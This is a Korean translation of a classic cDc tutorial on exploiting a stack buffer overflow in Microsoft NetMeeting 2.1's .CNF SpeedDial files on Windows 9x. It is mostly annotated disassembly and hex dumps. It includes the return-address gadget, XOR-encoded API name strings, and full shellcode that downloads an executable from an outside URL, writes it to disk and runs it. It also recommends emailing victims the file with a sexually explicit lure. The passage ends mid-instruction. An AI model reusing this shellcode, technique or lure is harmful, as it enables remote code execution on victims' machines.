;============================================================================; .-. _ _ .-. / \ .-. ((___)) .-. / \ /.ooM \ / \ .-. [ x x ] .-. / \ /.ooM \ -/-------\-------/-----\-----/---\--\ /--/---\-----/-----\-------/-------\- /lucky 13\ / \ / `-(' ')-' \ / \ /lucky 13\ \ / `-' (U) `-' \ / `-' `-' The Tao of Windows Buffer Overflow as taught by DilDog cDc Ninja Strike Force 9-dan of the Architecture Sensei of the Undocumented Opcode Begin ;============================================================================; @ Essence Throughout these ages our operating systems infested by bugs The ignorant world turns to Windows for safety Safety from themselves It is now the time for the world to realize that we all feel pain Introduction Back ;============================================================================; @ Introduction 이 문서는 Windows 95, 98, NT OS에서의 Buffer Overflow를 이용해 Exploiting하는 것을 주제로 하고 있다. 아래의 목록에 대한 지식이 있으면 훨씬 도움이 될 것이다. Intel x86 Assembly, preferably Pentium General Windows System Architechture (you should know what the PE means in the PE-Executable) Know what a URL is. Have a working knowledge of C 그리고, 이러한 툴들이 필요할 것이다. A good hex editor/assembler/disassembler, such as HIEW A realtime debugger, such as SoftICE A few tools that come with Visual C++, DUMPBIN specifically. 이제 그럼 기본 개념부터 잡아보자. Fundamentals Introduction ;============================================================================; @ Fundamentals buffer overflow는 들어갈 자리 보다 더 많은 무언가가 위치하게 될 때 일어난다. 버퍼 크기 보다 더 큰 자료를 넣을 때 자료의 크기를 체크하지 않는다면 버퍼가 넘치고 메모리의 임의의 부분의 값이 원하지 않게 바뀔 것이다. 예제를 들어보자. void func(void) { int i; char buffer[256]; // * for(i=0;i<512;i++) buffer[i]='A'; // ! return; } 위의 코드에서 볼 수 있듯이, 버퍼는 256개의 A로 채워진다. 그러나 코드는 변수i가 512보다 작다면 계속 버퍼에 A를 채우도록 되어있다. 그래서 나머지 A는 어딘가로 채워지는 것이다. bound checking을 하지 않았기 때문에 버퍼를 다 채운 A는 계속해서 메모리의 어딘가에 채워지게 되는 것이다. 다음의 그림이 인텔 프렛폼의 Windows 9x/NT OS에서의 일반적인 32-bit stack의 그림이다. 위 코드의 * 마크가 있는 부분이다. STACK ---------------- Local Variables ESP-> i Buffer ---------------- EBP-> Old Value of EBP ---------------- Return Address ---------------- func 프로시져가 리턴할 때, EBP는 ESP로 돌아가고 스택의 리턴 어드레스를 POP한다. 위의 코드의 ! 부분은 버퍼를 넘치게 해서 Old Value of EBP를 지나 Return Address까지 'A'를 쓰게 한다. 리턴 어드레스를 overwrite함으로써, 우리는 프로그램 흐름을 바꿀 수 있다. 우리가 해야 할 일은 단지 리턴 어드레스가 우리가 실행하기 원하는 메모리 위치를 가리키도록 바꾸기만 하면 되는 것이다. 그러면 프로시져가 리턴할 때, 우리가 원하는 코드가 실행될 것이다. 버퍼를 코드 바이트로 채운다면, 인텔 아키텍쳐의 Windows 9x/NT OS에서 스택은 executable memory로 간주되기 때문에 EIP를 변경시킬 수 있다. 기본개념은 끝났다. 개념만 잡는다면 이것만으로도 충분하다고 생각한다. Next Back ;============================================================================; @ What It Looks Like ;--------------------------------------------------------------; ; Rundll32 ; ; This program has performed an illegal operation ; and will be shut down ; If the problem persists, contact the program ; vendor ; ; RUNDLL32 caused an invalid page fault in ; module at 00de:80808080. ; Registers: ; EAX=8160bb68 CS=014f EIP=80808080 EFLGS=00010246 ; EBX=0063ff68 SS=0157 ESP=005400d8 EBP=005400f8 ; ECX=00540180 DS=0157 ESI=005401c4 FS=1337 ; EDX=bff76648 ES=0157 EDI=005401a8 GS=0000 ; Bytes at CS:EIP: ;--------------------------------------------------------------; 만약 이러한 것을 보았다면, 버퍼 오버플로우가 일어난 것이다. 분명히 위의 에러는 일반적인 것으로 보인다. 하지만 각 값들을 자세히 보라. 위의 메시지는 microsoft netmeeting라는 프로그램의 speeddial shortcut의 address field에 0x80을 넣어서 얻은 것이다. 그런데, EIP의 값을 보면 0x80808080으로 되어 있는 것을 볼 수 있다. 바로 스택 오버플로우가 일어난 것이다. 이제 우리가 해야 할 일은 RET를 우리가 원하는 코드를 가리키게 하는 익스플로잇 코드를 정교하게 만드는 일이다. 여기서 잠깐 짚고 넘어가야 할 사항이 있다. 우리는 윈도우즈를 사용하면서 위와 비슷한 에러 메시지를 자주 접하게 된다. 하지만, 그 모든 에러가 버퍼오버플로우에 기반한 에러는 아닌 것이다. 그리고, 물론 윈도우즈 95/98/NT OS에서의 힙 오버플로우 같은 사항도 중요한 이슈지만 이 문서에서는 스택 오버플로우에 관련된 사항만 다룰 것이다. Hack me up! Back me up! ;============================================================================; @ How Can This Be Used? 이제 우리는 실제 작업에 들어가 보자. 버퍼 오버플로우 상황을 만들기 위해 "overflow.cnf"라는 파일을 만들 것이다. CNF 파일이란 Microsoft Netmeeting에서 'SpeedDial' shortcut을 저장할 때의 파일포맷이다. CNF 파일은 일반적으로 개인 웹페이지에 올리거나 이메일에 첨부하여 보냄으로써 상대방이 call을 하게 한다. 익스플로잇하려면, cnf파일을 메일에 첨부하여 victim에게 보내면 된다. 내용은 "My girlfriend and I want you to watch us fuck while you spank it! Call us soon, we're horny!"같은 유혹적인 것이 나을 것이다. victim은 cnf파일을 클릭할 것이고, 넷미팅이 실행되고 정상적으로 ILS server에 접속하는 것처럼 보이지만 오버플로우가 일어나고 익스프로잇팅 될 것이다. 자, 이제 시작해 보자. 오버플로우는 'RUNDLL32.EXE'에서 일어난다. 그런데, 'RUNDLL32.EXE'는 윈도우즈 95와 NT의 그것이 각각 사이즈가 다르다. 이것으로 우리는 윈도우즈 95와 NT가 서로 import table이 다르다는 것을 추측할 수 있다. 한번 직접 DUMPBIN으로 확인해 보라. 그런데, 이 특별한 오버플로우는 윈도우즈 95에서만 일어난다. 물론 윈도우즈 NT에서도 익스플로잇 기술은 유효하다. 아무튼 이 문서에서 쓰인 넷미팅은 버젼 2.1이고, 윈도우즈 98 OS 환경에서 작업할 것이다. Onward! Backward! ;============================================================================; @ The Good And The Bad 크래쉬가 일어나고 'close'버튼을 누르면 넷미팅이 종료되지 않는 것을 알 수 있다. 이것은 RUNDLL32가 분리된 프로세스 영역에서 시작했음을 의미한다. 이것은 좋은 점과 나쁜 점이 있다. 좋은 점은 다루어야 할 복잡한 코드가 많지 않다는 것과 넷미팅이 종료되지 않기 때문에 많은 의심을 받지 않는다는 것이다. 나쁜 점은 RUNDLL32는 DLL들이나 외부 리소스를 많이 로드하지 않기 때문에 우리가 필요로 하는 것들은 직접 로드해야 한다는 것이다. RUNDLL32.exe같은 실행파일은 0x00400000의 base address를 가진다. 이것은 스택을 참조하는 값이 그 안에 적어도 하나의 NULL문자를 가진다는 것이다. 불행하게도 이것은 오버플로우 문제를 야기하는 C에선 거의 항상 피해야 할 string이다. 그러므로 만약 우리가 우리의 코드에 null 문자를 넣게 된다면, 우리의 exploit을 실행하면서 우리의 exploit 코드의 끝이 잘려지기 때문에 우리의 exploit에 나쁜 영향을 준다. 다른 bad character들에는 라인 피드, 캐리지 리턴, 몇몇 컨트롤 코드, 몇몇 극단적 경우엔 심지어 소문자 혹은 대문자 혹은 0x80 이상의 ASCII 문자들(가장 최악의 경우이다.)이 있다. 우리가 고려해야 할 또다른 일은 MSCONF.DLL이 로드되었다는 것이다. 이것은 RUNDLL32이 MSCONF.DLL을 로드하기 때문이다. 이는 .CNF 파일을 시작하는 커맨드 라인이 .CNF 파일 타입 안에 "rundll32.exe msconf.dll,OpenConfLink %l"로 정의되어 있는 것으로 알 수 있다. 우리는 또한 KERNEL32 함수가 RUNDLL32의 import table에 리스트되어 있기 때문에 KERNEL32.DLL도 로드되었다고 추측할 수 있다. 또한 KERNEL32 함수는 MSCONF.DLL의 import table에도 리스트되어 있다. 자 여기서 잠깐 우리가 하려고 하는 것들과 관련된 일련의 것들을 생각해 보자. 우린 지금 넷미팅2.1을 해킹하고 있다. 단일 버젼의 제품인 것이다. 그리고 단일 버젼의 MSCONF.DLL이다. 그러나 다양한 버젼과 업그레이드의 OS에서 로드된 RUNDLL32나 KERNEL32의 어떠한 버젼이 있을 수 있다. 그러므로 만약 우리가 절대적 가상 메모리 주소를 참조하려 한다면, 우린 헛다리 짚는 것일 것이다. 우리가 타겟 OS의 모든 버젼에서 우리의 exploit이 작동하길 원한다면 이는 분명한 문제점인 것이다. 그래서 우린 다른 프로그램들이 어떻게 그들의 주소를 얻는지 살펴보아야 한다. 우린 우리 exploit 코드로 재미있는 일을 해보기 위해 인터넷 기능을 사용할 수 있기를 원하기 때문에, WSOCK32.DLL 혹은 WININET.DLL을 사용할 필요가 있을 것이다. WinInet은 더 적은 코드로 더 많은 기능을 제공하기 때문에 우린 그것을 이용할 것이다. WININET은 RUNDLL32의 프로세스 영역에 로드되지 않았기 때문에 우린 그것을 로드해야만 한다. 그러나 잠시 화제를 돌려 EIP를 통제해 우리의 코드를 가리키게 하는 것에 대해 짚어 보자. Snatch that EIP! Back up! ;============================================================================; @ Snatching the EIP 우리는 버퍼 길이를 알아야 리턴 어드레스를 수정해 우리의 코드로 점프할 수 있는 것이다. 다음과 같은 방법을 보자. Address=.....256periods....1234xyz 버퍼 사이즈가 256bytes이기 때문에(우린 그것을 경험에 의해 알았다. 크래쉬를 일으키는 정확한 문자수에 도달할 때 까지 'address='의 라인 길이를 천천히 늘리거나 줄이는 방법을 썼다.) 위의 문자열은 버퍼를 256개의 period로 채울 것이다. 그리고 EBP를 0x34333231로 덮어쓸 것이며, 문자열이 null 문자로 끝나기 때문에 EIP를 0x00ZZYYXX로 세트할 것이다. 이것은 스택에서 우리가 원하는 부분은 어디든지 간에 가리킬 수 있게 하는 것이다. 어떤 경우엔 이것이 잘 통한다. 하지만 어떤 경우엔 버퍼가 너무 작아 이것이 통하지 않거나 재미있는 무언가를 할 수가 없다. 많은 경우, 리턴 어드레스 뒤에 우리의 코드를 넣는 것이 좋은 아이디어이다. 다음과 같다: Address=.....256periods....1234wxyzOURCODEFOLLOWSHERE>>> 이제 우리가 해야할 일은 우리의 코드를 리턴 어드레스 뒤에 넣는 일이다. 우리는 0xZZYYXXWW로 점프함으로써 작업을 마무리할 것이다. 물론 0xZZYYXXWW는 우리가 가고자 하는 곳이다. 먼저 리얼타임 디버거를 실행하고 크래쉬를 일으키는 익스플로잇 스트링을 넣어보자. 잘못된 어드레스를 참조했다고 무언가가 요란스럽게 나타날 것이다.(예를 들어, 0xZZYYXXWW를 0x34333231로 세트해보라. 메모리상의 그곳에는 아무 코드도 없어서 instant page fault를 일으킨다.) 이제 실행하고 디버거로 추적해 보자. 이 익스플로잇에서 우리는 ESP가 우리 익스플로잇 코드 근처의 어딘가를 가리키는 레지스터라는 것을 알 수 있다. 사실 그것은 우리가 날려버린 saved EBP의 위치에 16bytes를 더한 곳을 가리킨다. 좋다. 우린 지금 정확히 무엇을 하려고 하는가? 우린 stack을 점프하고 싶다. 사실 간단히 ESP로 점프하는 것으로 충분하다. 이렇게 하기 위해 0xZZYYXXWW를 "jmp esp"나 "call esp" 등과 같은 메모리상의 코드를 가리키게 하면 된다. 그러나 특별히 0x00같은 "bad byte"가 있어서는 안 된다. 우린 우리의 매직 코드를 MSCONF.DLL에서 찾을 수 있다. 0x6A600000, offset 2A76에 로드된 코드: .00002A76: 54 push esp .00002A77: 2404 and al,004 .00002A79: 33C0 xor eax,eax .00002A7B: 8A0A mov cl,[edx] .00002A7D: 84C9 test cl,cl .00002A7F: 740F je .000002A90 .00002A81: 80E930 sub cl,030 ;"0" .00002A84: 8D0480 lea eax,[eax][eax]*4 .00002A87: 0FB6C9 movzx ecx,cl .00002A8A: 42 inc edx .00002A8B: 8D0441 lea eax,[ecx][eax]*2 .00002A8E: EBEB jmps .000002A7B .00002A90: C20400 retn 00004 이 코드로 esp로 점프하는 것은 아니다. 이것은 ESP로 리턴한다. PUSH ESP가 발생하고, jmps 2A7B가 발생하고, 그리고나서 JE 2A90이 따라오고 우리를 RET로 pop한다. 이것을 우리를 효과적으로 ESP로 점프하게 한다. MSCONF.DLL이 로드되었으면, 우리가 고려해야 할 MSCONF.DLL은 단일 버젼이고 그것은 고정된 DLL 베이스 어드레스를 가지기 때문에 우리는 항상 같은 장소에 이 코드가 존재하리라 예상할 수 있다. 그래서 우리의 0xZZYYXXWW의 값은 0x6A602A76인 것이다. null도 없고 bad character도 없다. 우린 이제 EIP를 잡아챘다. 프로세서는 우리 것이다. 이제 재미있는 무언가를 할 차례다.. Ooh! Exploit! Back it up, I missed something. ;============================================================================; @ Constructing the Exploit 이제 우린 머신을 컨트롤 할 수 있게 되었다. 이제 재미있는 무언가를 해 보자. 그러나 우린 우리의 코드의 길이에 제약을 받는다. 우린 763 characters 뒤에 또다른 장소에서 크래쉬가 일어나는 것을 주의해야 한다. 즉, 다른 장소에서 다른 오버플로우가 일어나는 것이다. 따라서 MS는 두개의 버그 픽스를 해야 한다. 하지만, 여기선 하나의 경우만 exploiting 할 것이다. 처음 256 chars는 없어지기 때문에 우리의 코드를 위한 공간은 500bytes이다.(763bytes-256bytes(periods)=507bytes) 주의할 점: 500 byte maximum exploit length (최고 500 바이트의 익스플로잇 길이) We don't know what OS version we're running (운영중인 OS버젼을 모른다) We don't know where any useful functions are located (유용한 함수들의 위치를 모른다) 참 까다로운 제약이다. 잠시 여기서 익스플로잇이 아닌 시각에서 생각해 보자. 조용히 눈을 감고 그 유명한 장자의 "나비"가 되어 보자. 난 윈도우즈용으로 컴파일된 작은 실행파일이다. 나는 Win95와 WinNT 둘다에서 실행된다. 내가 ExitProcess를 호출하기 원할 때 그 함수가 어디에 있는지 어떻게 알 것인가? ExitProcess는 두 OS에서 Kernel32.DLL의 서로 다른 위치에 위치한다.(그리고 Win95의 OSR1과 OSR2, WinNT의 다양한 서비스 팩 릴리즈에서도 각기 다르다) 나는 정말로 임의의 어드레스로 점프할 수 밖에 없다. 우리는 이러한 함수들의 위치에 대해 언급하고 넘어가야 한다. Win32 API에서는 "GetProcAddress"라는 함수가 있다. 그것은 이름과 모듈 핸들로 함수의 메모리 주소를 반환한다. 그러면 GetProcAddress의 주소는 어디인가? 모른다. 우린 그것을 찾기 위해 그것을 호출해야 할 것이다. 그럼 어떻게 작동하는가? 바로 Import tables이다. Import tables는 OS가 우리에게 어떤 함수의 위치를 말해주고 그 테이블을 값으로 채우는 PE-Executable format의 구조이다. import table을 얻기 위해 DUMPBIN을 이용하자. DLL과 EXE 둘다 import table을 가진다. 우린 MSCONF.DLL이 메모리에 있고, 버젼이 하나임을 안다. 만약 GetProcAddress가 MSCONF.DLL의 import table에 있다면, MSCONF.DLL이 로드되었을 때 OS에 의해 MSCONF.DLL의 테이블 공간의 고정된 위치에 GetProcAddress의 주소가 쓰여진다. 따라서 그것을 덤프하면: Microsoft (R) COFF Binary File Dumper Version 5.10.7303 Copyright (C) Microsoft Corp 1992-1997. All rights reserved. Dump of file msconf.dll File Type: DLL Section contains the following imports: KERNEL32.dll 23F Sleep 183 IsBadReadPtr 17E InterlockedIncrement . . . 1E CompareStringA 98 FreeLibrary 116 GetProcAddress 190 LoadLibraryA 4C DeleteCriticalSection 51 DisableThreadLibraryCalls . . . 됐다! GetProcAddress, 그리고 LoadLibraryA까지 있다! LoadLibrary는 로드된 DLL의 모듈 핸들을 얻는데 쓰일 수 있다. 그리고 로드되지 않은 DLL을 로드하는데 쓰인다. 그것은 기본적으로 DLL의 base address를 반환한다. 이것은 NT와 95의 KERNEL32.DLL의 base address가 다르기 때문에 중요하다. 그래서 우린 디버거를 실행하고 함수의 주소를 찾을 때까지 메모리를 검색한다. 그것들은 0x6A60107C(LoadLibraryA)과 0x6A601078(GetProcAddress)이다. 우린 단지 간접표현(call dword ptr [0x6A60107C])를 사용해 이 위치들를 호출하면 된다. 그러면 우린 올바른 장소로 갈 것이다. 효율적으로 하기 위해, 우리의 익스플로잇을 두 부분으로 구성할 것이다. 우리가 사용하려는 함수의 jumptable을 만들고, 우리의 jumptable을 참조하는 코드를 실행한다. 이것은 필요한 함수의 호출에 필요한 코드의 양을 줄이고, 레지스터를 아끼기 위해 스택 사용을 최소화 한다. 이것은 만약 우리가 너무 많이 PUSH나 POP을 하면 우리의 코드를 흩어 놓거나 다른 스택 문제를 야기할 것이기 때문에 중요하다. 이 jumptable을 만들기 위해, 우린 우리가 호출할 Win32 함수들을 알 필요가 있다. 그래서 우리가 하고 싶은게 뭔지 알아야 한다. 500 bytes는 진정 유용한 윈도우즈 프로그램용으론 너무 작다. 대신에 우린 인터넷을 통하여 우리의 egg code가 다른 프로그램(더 크고 잘 만들어진 실행파일)을 다운로드하고 실행하게 할 것이다. 이러한 방식은 우리가 작은 코드로 더 높은 수준의 다른 코드를 실행하게 하는 것을 가능하게 한다. URL을 다운로드하기 위해, 우리는 WININET.DLL의 InternetOpenA, InternetCloseHandle, InternetOpenUrlA, InternetReadFile을 필요로 한다. 우린 또한 다운로드한 것을 디스크에 쓰기 위해 KERNEL32.DLL의 _lcreat, _lwrite, _lclose를 필요로 한다. 우린 다운로딩을 위해 메모리를 할당할 KERNEL32.DLL의 GlobalAlloc이 필요하다. 또한 다운로드한 것을 실행하고, 우리가 크래쉬한 RUNDLL32 프로세스를 죽이기 위해 KERNEL32.DLL의 WinExec와 ExitProcess가 필요하다. 일반 Win32 프로그램은 _lcreat 같은 절대적 함수들을 호출하지 않는다. 그러나 Win95와 NT에 존재한다. 그리고 그것들은 CreateFile 같은 함수들 보다 간단한 호출 문법을 가진다. 그래서 우린 그것들을 사용할 것이다. Show me the code! What's an EIP again? ;============================================================================; @ Creating our Jumptable 이제 jumptable을 만들어 보자. 장애물 #1: 우리는 함수를 이름으로 참조해야 한다. 그렇다. GetProcAddress는 함수 서순(버전마다 바뀌기 때문에 우리는 사용할 수 없다.)이나 함수 이름(NULL 문자로 끝나는 함수 이름)으로 호출한다. 우리의 익스플로잇 스트링이 null 문자를 가져야 한다고? 젠장. 우린 미리 그것에 대해 생각했어야 했다. 또한 우린 다운로드할 것의 URL 스트링도 넣어야 할 것이다. 다시 한번 머리를 굴려야 한다. 우리 함수 이름이나 다운로드 URL의 어떤 문자도 ASCII 0x80 이상이어야 하기 때문에, 모든 이름과 익스플로잇 스트링의 마지막의 URL에 무언가를 덧붙이는 것이 안전하다. 그래서 모든 스트링 바이트에 XOR(혹은 ADD) 0x80을 해라. 그리고 우리가 익스플로잇을 시작할 때, 우린 단지 우리 익스플로잇의 끝부분을 0x80으로 XOR한다. 이것은 익스플로잇 스트링을 감사하는 눈이 우리가 하려는 것을 정확히 눈치챌 수 없게 할 수 있는 장점이 있다. 별로 좋은 암호화는 아니지만, 그것이 포인트이다. 우린 단지 _작동_하게 하면 된다. 그래서 우린 익스플로잇 스트링의 끝에 다음의 테이블을 덧붙인다: 00000270: .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00 KERNEL32 00000280: 5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00 _lcreat _lwrite 00000290: 5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00 _lclose WinExec 000002A0: 45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62 ExitProcess Glob 000002B0: 61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00 alAlloc WININET 000002C0: 49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E InternetOpenA In 000002D0: 74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C ternetCloseHandl 000002E0: 65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72 e InternetOpenUr 000002F0: 6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46 lA InternetReadF 00000300: 69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C ile http://www.l 00000310: 30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67 0pht.com/~dildog 00000320: 2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. .. /eatme.exe 00 bytes를 없애기 위해 0x80으로 XOR하면 다음과 같다: 00000270: .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80 -+-++떰_? 00000280: DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80 __?_??______? 00000290: DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80 __?___?__+?룶 000002A0: C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2 +?_-__?__ザ___ 000002B0: E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80 ?-___룶+++++++? 000002C0: C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE +_______-___-?_ 000002D0: F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC ______+____+?__ 000002E0: E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2 _?_______-___+_ 000002F0: EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6 _-?_______-_?? 00000300: E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC ___?___땔?__? 00000310: B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7 ____킃__?______ 00000320: AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. .. ??__ 알았는가? 좋다. 장애물 #2: 우린 스트링 테이블을 디코드해야 한다. 따라서 우리의 첫번째 임무는 암호 해독이다. 그래서 우린 처음에 이것이 실행되게 해야 한다.: 00000146: 33C9 xor ecx,ecx ECX를 클리어한다. 우린 이것을 이용할 것이다. 00000148: B88053FF63 mov eax,063FF5380 ;"c_S? 0000014D: 2C80 sub al,080 ;"? 0000014F: C1C018 rol eax,018 메모리에서 우리의 데이터 부분의 끝으로 EAX를 세팅한다.(우린 이렇게 해서 어떠한 NULL 문자도 갖지 않게 된다.) 00000152: B1B4 mov cl,0B4 ;"? ECX는 이제 우리가 XOR하길 원하는 문자의 수 0x000000B4이다. 00000154: 48 dec eax 00000155: 803080 xor b,[eax],080 ;"? 00000158: E2FA loop 000000154 ---------- (1) 이 부분이 XOR 루프이다. 이제 우린 왜 메모리 끝에서 부터 XOR했는지 알 수 있다. 이제 EAX는 데이터의 시작을 가리킨다. 그리고 우린 이름을 참조하기 위해 그것을 사용할 수 있다. 이제 실질적으로 우리 jumptable을 얻기 위한 작업을 해보자. 장애물 #3: 모든 프로시져 주소를 로딩하기 0000015A: BE7C10606A mov esi,06A60107C 0000015F: 50 push eax 00000160: 50 push eax 00000161: FF16 call d,[esi] 00000163: 8BF0 mov esi,eax 위의 코드는 LoadModule을 호출한다. 위에서 두번 push할 필요는 없었다. 그러나, 디버깅 중이었고 그것을 없애는 걸 감빡했다. 원하면 NOP으로 해도 된다. EAX는 LoadModule의 첫번째 인자인 "KERNEL32"이라는 스트링을 가리킨다. LoadModule이 리턴할 때, 그것은 우리가 EAX에 저장했던 커널 모듈 핸들을 ESI에 put할 것이다. 그래서, 그것은 다른 프로시져를 호출함으로써 없어지지 않을 것이다. 00000165: 5B pop ebx 00000166: 8BFB mov edi,ebx 00000168: 6681EF4BFF sub di,0FF4B ;"_K" 이것은 EDI가 (스택의 더 아래 공간의) 우리의 디코드된 스트링 테이블의 시작부분을 지나 181 byte에 위치하는 우리의 jumptable의 base를 가리키게 한다. 0000016D: FC cld 0000016E: 33C9 xor ecx,ecx 00000170: 80E9FA sub cl,-006 우리는 kernel로 부터 6개의 프로시져를 호출하기 위해 6번 루프할 것이다. 그래서 이제 ECX=0x00000006이다. 00000173: 43 inc ebx 00000174: 32C0 xor al,al 00000176: D7 xlat 00000177: 84C0 test al,al 00000179: 75F8 jne 000000173 ---------- (1) 0000017B: 43 inc ebx 이 루프는 null 문자를 찾기 위해(즉, 다음 스트링으로 넘어가는) 텍스트를 스캔한다. 그리고, 0x00 byte를 지난 문자를 EBX가 가리킨다. 이것은 하나의 프로시져에서 다음으로 옮겨준다. XLAT의 31337(elite, 즉 현명한)사용을 주의해서 보라. 나는 그것을 좋아한다. one byte에 우리의 모든 메모리 참조가 있다. 0000017C: 51 push ecx 0000017D: 53 push ebx 0000017E: 56 push esi 0000017F: FF157810606A call d,[06A601078] 00000185: AB stosd 00000186: 59 pop ecx 이것은 우리 함수를 위해 프로시져 주소를 얻는다. 그리고 EDI에 의해 포인트된 테이블에 그것들을 위치시킨다. 00000187: E2EA loop 000000173 ---------- (2) 모든 kernel 프로시져를 위해 루프한다. 이제 kernel은 끝났다. 우리는 WININET 프로시져를 위해 반복해야 한다. 00000189: 43 inc ebx 0000018A: 32C0 xor al,al 0000018C: D7 xlat 0000018D: 84C0 test al,al 0000018F: 75F8 jne 000000189 ---------- (2) 00000191: 43 inc ebx 이 코드는 EBX가 마지막 kernel의 펑션 이름을 지나 우리의 디코드된 스트링 테이블의 "WININET" 스트링에 가게끔 하기 위해 존재할 뿐이다. 00000192: 53 push ebx 00000193: 53 push ebx 00000194: FF157C10606A call d,[06A60107C] 0000019A: 8BF0 mov esi,eax 0000019C: 90 nop 0000019D: 90 nop 0000019E: 90 nop 0000019F: 90 nop NOP들이나 double-push는 디버깅 때문이다. 원하면 스스로 제거하라. 이 코드는 WININET.DLL의 모듈핸들(base address)를 얻는다. 그리고 그것을 ESI에 저장한다. 000001A0: 33C9 xor ecx,ecx 000001A2: 83E9FC sub ecx,-004 000001A5: 43 inc ebx 000001A6: 32C0 xor al,al 000001A8: D7 xlat 000001A9: 84C0 test al,al 000001AB: 75F8 jne 0000001A5 000001AD: 43 inc ebx 000001AE: 51 push ecx 000001AF: 53 push ebx 000001B0: 56 push esi 000001B1: FF157810606A call d,[06A601078] 000001B7: AB stosd 000001B8: 59 pop ecx 000001B9: E2EA loop 0000001A5 이것은 커널 함수를 위해 주소를 얻었던 것에 사용된 코드의 카피이다. 그러나 이번엔 4개의 WININET 함수의 주소를 얻을 것이다. 난 이것을 두번 설명하지 않길 바란다. 좋다. 이제 우린 jumptable을 만들었다. EDI는 점프테이블의 끝을 지나 dword를 가리킨다. 그래서 우린 이제 EDI로 부터 간접적으로 우리 프로시져를 참조할 수 있다(call dword ptr [edi-16]). 그것은 import table과 비슷하다. 그러나 더 재미있다. 이제 우린 우리의 모든 툴을 장착했다. 우리는 별로 많은 코드를 쓴 것도 아니다. Where's the 0x0000BEEF? This makes no sense. I hate you. ;============================================================================; @ The Shit 이제 우리가 궁극적으로 하려고 했었던 것을 할 차례다. 다음을 보자: 000001BB: 90 nop 000001BC: 90 nop 000001BD: 33C0 xor eax,eax 000001BF: 6648 dec ax 000001C1: D1E0 shl eax,1 000001C3: 33D2 xor edx,edx 000001C5: 50 push eax 000001C6: 52 push edx 000001C7: FF57EC call d,[edi][-0014] 000001CA: 8BF0 mov esi,eax 이 코드는 메모리에 131070bytes를 할당한다. EAX는 131070을 얻고, 우린 EDI로 부터 -0x14 bytes의 jumptable로 부터 간접적으로 주소 지정된 GlobalAlloc을 호출한다. 이것은 ESI에 메모리 주소를 저장한다. GlobalAlloc의 타입은 GMEM_FIXED (0) 인데, 잠겨있지 않은 핸들보다 리턴된 메모리 주소를 야기한다. 000001CC: 33D2 xor edx,edx 000001CE: 52 push edx 000001CF: 52 push edx 000001D0: 52 push edx 000001D1: 52 push edx 000001D2: 57 push edi 000001D3: FF57F0 call d,[edi][-0010] 그러면, 이제 InternetOpenA에 대한 호출로 인터넷 핸들을 만든다. InternetOpenA에 대한 모든 파라메터는 이 경우에는 zero이다. 그래서 우린 운이 좋다. 인터넷 핸들은 EAX에 반환되고 우리는 우리가 호출할 다음 함수에 대한 파라메터로서 그것을 즉시 세팅할 것이다... 000001D6: 33D2 xor edx,edx 000001D8: 52 push edx 000001D9: 52 push edx 000001DA: 52 push edx 000001DB: 90 nop 000001DC: 52 push edx 000001DD: 8BD7 mov edx,edi 000001DF: 83EA50 sub edx,050 ;"P" 000001E2: 90 nop 000001E3: 90 nop 000001E4: 90 nop 000001E5: 52 push edx 000001E6: 50 push eax 000001E7: FF57F8 call d,[edi][-0008] 이 코드는 우리의 선택된 URL을 호출할 InternetOpenUrlA (at [EDI-0x08])에 대한 호출을 만든다. URL 타입은 이 코드에서 상술되지 않았기 때문에 HTTP,FTP,FILE,GOPHER 등 무엇이라도 할 수 있다. 000001EA: 57 push edi 000001EB: 33D2 xor edx,edx 000001ED: 664A dec dx 000001EF: D1E2 shl edx,1 000001F1: 52 push edx 000001F2: 56 push esi 000001F3: 50 push eax 000001F4: FF57FC call d,[edi][-0004] 이 코드는 우리 메모리 버퍼(ESI안의 pointer)로 131070 bytes를 다운로드하기 위해 InternetReadFile (at [EDI-0x04)를 사용한다. 우리가 먼저 EDI에 푸쉬했던 것을 상기하라. EDI는 우리가 얼마나 많은 바이트의 수(count)를 실제로 읽었는지를 저장하려는 곳이다. 이것은 디스크에 올바른 사이즈로 파일을 저장하기 위해 필요하다. 당신이 다운로드할 수 있는 익스플로잇 실행파일의 크기에 한계가 있다는 것을 상기하라. 000001F7: 90 nop 000001F8: 90 nop 000001F9: 90 nop 000001FA: 33D2 xor edx,edx 000001FC: 52 push edx 000001FD: 8BD7 mov edx,edi 000001FF: 83EA30 sub edx,030 ;"0" 00000202: 42 inc edx 00000203: 90 nop 00000204: 90 nop 00000205: 52 push edx 00000206: FF57D8 call d,[edi][-0028] 이것은 우리의 메모리 버퍼에 파일을 생성하기 위해 _lcreat (at [edi-0x28])을 호출한다. 이제 이 데이터를 집으로 보낼 시간이다. 파일 이름은 url의 마지막 5문자로 선택된다. 이 경우에는 "e.exe"이다. 파일은 익스플로잇이 라운치된 장소(일반적으로 넷미팅의 경우 개인의 SpeedDial 디렉토리)에서 생성될 것이다. 00000209: FF37 push d,[edi] 0000020B: 56 push esi 0000020C: 50 push eax 0000020D: 8BD8 mov ebx,eax 0000020F: FF57DC call 